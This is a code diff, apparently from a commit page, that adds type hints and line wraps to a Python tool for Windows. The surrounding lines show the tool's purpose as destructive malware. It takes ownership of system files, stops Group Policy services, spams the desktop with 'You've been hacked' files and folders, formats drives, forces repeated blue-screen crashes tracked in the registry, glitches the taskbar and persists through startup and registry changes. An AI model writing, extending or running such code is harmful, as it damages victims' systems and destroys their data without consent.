@@ -124,15 +124,15 @@ def add_to_startup(self):
124
124
log .error (f"Unexpected error: { ex } " )
125
125
126
126
127
- def is_admin ():
127
+ def is_admin () -> bool :
128
128
"""Check if the script is running with admin privileges."""
129
129
try :
130
130
return ctypes .windll .shell32 .IsUserAnAdmin ()
131
131
except Exception :
132
132
return False
133
133
134
134
135
- def take_ownership (file_path ):
135
+ def take_ownership (file_path : str ):
136
136
"""Take ownership of a file or directory."""
137
137
# Take ownership of the gpedit.msc file
138
138
output = subprocess .run (fr"takeown /f { file_path } " ,
@@ -146,18 +146,18 @@ def take_ownership(file_path):
146
146
147
147
# ------------------------- Decorators Code ----------------------- #
148
148
149
- def experimental (func : callable ):
149
+ def experimental (func : callable ) -> callable :
150
150
@functools .wraps (func )
151
- def wrapper (* args , ** kwargs ):
151
+ def wrapper (* args , ** kwargs ) -> callable :
152
152
log .warning (f"{ func .__name__ } () is an experimental feature, don't rely on it!" )
153
153
return func (* args , ** kwargs )
154
154
155
155
return wrapper
156
156
157
157
158
- def not_tested (func : callable ):
158
+ def not_tested (func : callable ) -> callable :
159
159
@functools .wraps (func )
160
- def wrapper (* args , ** kwargs ):
160
+ def wrapper (* args , ** kwargs ) -> callable :
161
161
log .warning (f"{ func .__name__ } () is a non-tested feature, don't rely on it!" )
162
162
return func (* args , ** kwargs )
163
163
@@ -306,7 +306,7 @@ def __init__(self):
306
306
self .GPEDIT = r"C:\Windows\System32\gpedit.msc"
307
307
308
308
@staticmethod
309
- def __stop_gpedit_services (service_name ) :
309
+ def __stop_gpedit_services (service_name : str ) -> None :
310
310
"""Try to stop a service if it's running."""
311
311
status = subprocess .run (f"sc qc { service_name } " , shell = True , capture_output = True , text = True )
312
312
if "ERROR" in status .stderr :
@@ -342,7 +342,7 @@ def disable(self):
342
342
self .__stop_gpedit_services ("gpsvc" ) # Group Policy Client service
343
343
self .__stop_gpedit_services ("netprofm" ) # Network List Service
344
344
345
- def enable (self ):
345
+ def enable (self ) -> None :
346
346
"""
347
347
Re-enable Group Policy Editor by restoring registry settings and file permissions.
348
348
"""
@@ -689,7 +689,7 @@ def enable():
689
689
690
690
class DHCP :
691
691
@staticmethod
692
- def __dhcp_client (use_dhcp ):
692
+ def __dhcp_client (use_dhcp : bool ):
693
693
# Fetch all active interfaces
694
694
interfaces = subprocess .check_output (
695
695
"netsh interface show interface" , shell = True , text = True
@@ -756,7 +756,7 @@ def enable(self):
756
756
757
757
class Taskbar :
758
758
@staticmethod
759
- def __create_powershell_command (code ) :
759
+ def __create_powershell_command (code : int ) -> str :
760
760
return """
761
761
Add-Type -TypeDefinition @"
762
762
using System;
@@ -1203,7 +1203,7 @@ def __run(command):
1203
1203
log .error (f"Error: { e } " )
1204
1204
1205
1205
@staticmethod
1206
- def __get_dependencies (service_name ):
1206
+ def __get_dependencies (service_name ) -> list [ str ] | list [ None ] :
1207
1207
"""Get the list of dependent services."""
1208
1208
try :
1209
1209
result = subprocess .run (f"sc qc { service_name } " , shell = True , capture_output = True , text = True )
@@ -1323,7 +1323,8 @@ def __init__(self):
1323
1323
default = config .get ("Spam.Desktop" , "ERROR_TYPE" , fallback = "You've been hacked" )
1324
1324
repeat_default = config .getint ("Spam.Desktop" , "COUNT" , fallback = 500 )
1325
1325
1326
- folders = config .get ("Spam.Desktop" , "EXTRA_FOLDERS" , fallback = "Hackers, Anonymous, YourPCIsMine, Hacked, Lol" )
1326
+ folders = config .get ("Spam.Desktop" , "EXTRA_FOLDERS" ,
1327
+ fallback = "Hackers, Anonymous, YourPCIsMine, Hacked, Lol" )
1327
1328
folders = folders .replace (" " , "" ).split ("," )
1328
1329
files = config .get ("Spam.Desktop" , "EXTRA_FILES" , fallback = "You, have, been, hacked, lol" )
1329
1330
files = files .replace (" " , "" ).split ("," )
@@ -1443,7 +1444,7 @@ def enable(self):
1443
1444
1444
1445
class Windows :
1445
1446
@staticmethod
1446
- def __format (drive_letter ):
1447
+ def __format (drive_letter : str ):
1447
1448
try :
1448
1449
# Ensure the drive letter ends with a colon
1449
1450
if not drive_letter .endswith (":" ):
@@ -1476,10 +1477,11 @@ def __init__(self):
1476
1477
self .MAX_CRASHES = config .getint ("Destroy.BSOD" , "MAX_CRASHES" , fallback = 5 )
1477
1478
self .REGISTRY_PATH = config .get ("Destroy.BSOD" , "REG_PATH" , fallback = "SOFTWARE\\ SysBSOD" )
1478
1479
self .VALUE_NAME = config .get ("Destroy.BSOD" , "REG_KEY" , fallback = "BCC" )
1479
- self .CRASH_ERR = config .get ("Destroy.BSOD" , "MESSAGE" , fallback = "The code monkeys at our headquarters are working very hard to fix this!" )
1480
+ self .CRASH_ERR = config .get ("Destroy.BSOD" , "MESSAGE" ,
1481
+ fallback = "The code monkeys at our headquarters are working very hard to fix this!" )
1480
1482
self .CRASH_CODE = 0xDEADDEAD
1481
1483
1482
- def __check_registry_and_update (self ):
1484
+ def __check_registry_and_update (self ) -> bool :
1483
1485
"""
1484
1486
Check the registry for "CrashCount". If it exists and is greater than or equal to MAX_CRASHES, do nothing.
1485
1487
Otherwise, increment and allow the script to proceed with the BSOD.
@@ -1509,6 +1511,7 @@ def __check_registry_and_update(self):
1509
1511
log .error (f"Failed to check registry: { err } " )
1510
1512
return False
1511
1513
finally :
1514
+ # Does it ever do this? We will never know...
1512
1515
try :
1513
1516
reg .CloseKey (key )
1514
1517
except Exception :
@@ -1636,7 +1639,7 @@ def __init__(self):
1636
1639
self .SWP_NOSIZE = 0x0001
1637
1640
self .SWP_NOMOVE = 0x0002
1638
1641
1639
- def __glitch_forever (self ):
1642
+ def __glitch_forever (self ) -> None :
1640
1643
"""Continuously make the Taskbar glitch until stopped."""
1641
1644
if not self .taskbar_hwnd :
1642
1645
log .error ("Taskbar not found." )
@@ -1667,7 +1670,7 @@ def start(self):
1667
1670
exit ()
1668
1671
1669
1672
@staticmethod
1670
- def __persist (enable = True ):
1673
+ def __persist (enable : bool = True ) -> None :
1671
1674
"""Persist Taskbar changes through reboots by modifying the Registry."""
1672
1675
key_path = r"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
1673
1676
try :
@@ -1891,5 +1894,4 @@ def start(self):
1891
1894
except KeyboardInterrupt :
1892
1895
log .info ("Exiting..." )
1893
1896
1894
-
1895
1897
# ---------------------------- Main Code --------------------------- #
0 commit comments